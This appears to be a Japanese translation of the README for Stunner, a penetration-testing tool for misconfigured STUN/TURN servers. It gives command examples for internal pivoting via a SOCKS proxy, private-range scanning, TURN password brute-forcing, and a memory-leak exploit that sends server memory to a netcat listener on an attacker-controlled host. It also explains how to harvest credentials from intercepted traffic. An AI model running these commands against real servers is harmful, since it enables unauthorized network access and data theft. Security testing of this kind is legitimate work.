
STUN/TURNサーバーの設定ミスをテストおよび悪用し、SOCKSプロキシを介した内部ネットワークのピボット、メモリリーク攻撃、内部ポートスキャンを可能にします。
Stunnerは、STUN、TURN、およびTCP経由のTURNサーバーをテストおよび悪用するためのツールです。 TURNは、主にビデオ会議や音声チャット(WebRTC)で使用されるプロトコルです。
設定が誤ったサーバーを見つけた場合、このツールを使用して、TURNプロトコルを介してサーバー背後にある内部ネットワークにすべてのトラフィックを中継するローカルSOCKSプロキシを開くことができます。
このツールは、Cisco Expresswayのテスト中に開発したもので、いくつかの脆弱性が発見されました: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
必要なユーザー名とパスワードを取得するには、BurpでWebブラウザからのConnectリクエストをスニッフィングするなどの帯域外方法を使用して取得する必要があります。このようなサーバーをテストする方法については、READMEの下部にワークフローの例を追加しました。
この作品は、クリエイティブ・コモンズ表示-非営利-継承 4.0 国際ライセンスの下で提供されています。このライセンスのコピーを表示するには、http://creativecommons.org/licenses/by-nc-sa/4.0/ にアクセスするか、Creative Commons, PO Box 1866, Mountain View, CA 94042, USA に手紙を送ってください。
STUN: RFC 5389
TURN: RFC 5766
TCP用TURN: RFC 6062
IPv6用TURN拡張: RFC 6156
このコマンドは、使用されているソフトウェアなどのサポートされているプロトコルや属性を含む、STUNまたはTURNサーバーに関する情報を出力します。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
このコマンドは、いくつかのプライベートおよび制限された範囲を試行して、TURNサーバーが指定されたIPアドレスへの接続を許可するように設定されているかどうかを確認します。特定の範囲が禁止されていない場合、指定された他のコマンドでその範囲をさらに列挙できます。IPに到達可能な場合、TURNサーバーがこのIPへのトラフィックを転送することを意味します。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
TCPベースのTURN接続(あなたからTURNサーバーへの接続):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
UDPベースのTURN接続(あなたからTURNサーバーへの接続):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
これは、バックエンドサーバーへのTCP接続をサポートするTURNサーバーにとって最も便利なコマンドの1つです。認証なしのローカルSOCKS5サーバーを起動し、すべてのTCPトラフィックをTURNプロトコル経由で中継します(SOCKS経由のUDPは現在サポートされていません)。サーバーの設定が誤っている場合、内部アドレスにトラフィックを転送するため、内部システムに到達し、サーバーを内部ネットワークへのプロキシとして悪用できます。SOCKS経由でDNSルックアップも行うことを選択した場合、ローカルのネームサーバーを使用して解決されるため、プライベートIPv4およびIPv6アドレスを使用するのが最適です。このモジュールはTCPトラフィックのみを中継できることに注意してください。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
プロキシを起動したら、ブラウザを開き、設定でプロキシを127.0.0.1:1080のSOCKS5に指定し(ローカルアドレスをバイパスするオプションは設定しないでください。リモートのローカルアドレスに到達したいため)、ブラウザで目的のIPを呼び出します。
例: https://127.0.0.1, https://127.0.0.1:8443 または https://[::1]:8443(これらは、テスト対象のTURNサーバーのローカルインターフェースからポートを呼び出します)
また、proxychainsをこのプロキシを使用するように設定することもできます(ただし、各リクエストでプロキシを有効にするために複数のリクエストが発生するため、非常に遅くなります)。/etc/proxychains.confを編集し、ProxyListの下にsocks5 127.0.0.1 1080という値を追加します。
正しく設定されたproxychainsを使用した、このSOCKS5プロキシ経由のnmapの例(-sTを使用してTCP SYNスキャンを行うことに注意。そうしないとSOCKS5プロキシが使用されません):
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
これは、おそらく有用な情報は得られませんが、サーバーがサポートするすべての利用可能なトランスポート(=内部システムへのプロトコル)を列挙するのに役立つ場合があります。これにより、いくつかのカスタムプロトコル実装が表示される可能性がありますが、ほとんどの場合、デフォルトのみが返されます。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
このコマンドは、指定されたファイルからすべてのパスワードをTURNプロトコル(UDP)経由でユーザー名に対して試行します。これは、pcapを分析していて、ユーザー名は確認できるがパスワードは確認できない場合に役立ちます。この場合、オフラインでのブルートフォースの方がはるかに高速であることに注意してください。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
この攻撃は次のように機能します:
サーバーはtargetに送信するデータをTLV(Type Length Value)として受け取ります。このエクスプロイトでは、短い値に対して大きな長さを使用します。サーバーがTLVの境界をチェックしない場合、length分のメモリをtargetに送信する可能性があります。Cisco Expresswayはこれに対して脆弱であることが確認されていますが、Ciscoによると、現在のセッションのメモリのみを漏洩します。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
データを受信するには、パブリックIPを持つサーバーにレシーバーをセットアップする必要があります。通常、ファイアウォールはTURNサーバーからの高ポート(>1024)のみを許可するように設定されているため、インターネットに接続する際は、この例のように8080のような高ポートを使用してください。
sudo nc -u -l -n -v -p 8080 | hexdump -C
次に、自分のマシンで以下のステートメントを実行し、tパラメータにパブリックIPを追加します。
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
動作する場合、大量のメモリが受信されるはずです。そうでない場合は、短いメッセージのみが表示されます。
TURNサーバーが内部ターゲットへのUDP接続を許可する場合、このスキャナーを使用してすべてのプライベートIP範囲をスキャンし、SNMPおよびDNSリクエストを送信できます。これは多数のIPをチェックするため、完了までに数日かかる場合があります。注意して使用するか、パラメータでより小さなターゲットを指定してください。試行するSNMPコミュニティ文字列と、各IPで解決するドメイン名を指定する必要があります。ドメイン名には、例えばBurp Collaboratorを使用できます。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
udp-scannerと同じですが、指定されたポートにHTTPリクエストを送信します(HTTPSはサポートされていません)
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
WebRTCを使用するサービスを見つけてテストしたいとします。
最初のステップは、必要なデータを取得することです。Wiresharkをバックグラウンドで起動し、Burp経由で会議に参加して、すべてのHTTPおよびWebsocketトラフィックを収集することをお勧めします。次に、Burpの履歴で3478、password、credential、usernameなどのTURN関連のキーワードを検索します(Websocketタブも必ず確認してください)。これにより、TURNサーバー、プロトコル(UDPとTCPのエンドポイントではポートが異なる場合があります)、および接続に使用される認証情報が明らかになる可能性があります。Burpでデータが見つからない場合は、Wiresharkを調べてトラフィックを特定します。非標準ポート(3478以外)の場合は、Wiresharkでプロトコルを右クリックしてSTUNとしてデコードします。これにより、接続に使用されているユーザー名が表示され、その情報を使用してBurpの履歴をさらに検索し、必要なデータを見つけることができます。Wiresharkはパスワードを表示できないことに注意してください。パスワードはパッケージの内容をハッシュするために使用されるため、逆算することはできません。
次のステップは、Burpから取得した正しいポートとプロトコルを使用して、TURNサーバーにinfoコマンドを発行します。
これが成功した場合、次のステップはrange-scanです。これにより、内部システムへのトラフィックが許可される場合、さらに悪用できますが、UDPには限られたユースケースしかないことに注意してください。
内部システムへのTCP接続が許可されている場合は、socksコマンドを起動し、ブラウザで許可されたIPにアクセスし、SOCKSプロキシを127.0.0.1:1080に設定します。127.0.0.1:443やその他のIPを試して、管理インターフェースを見つけることができます。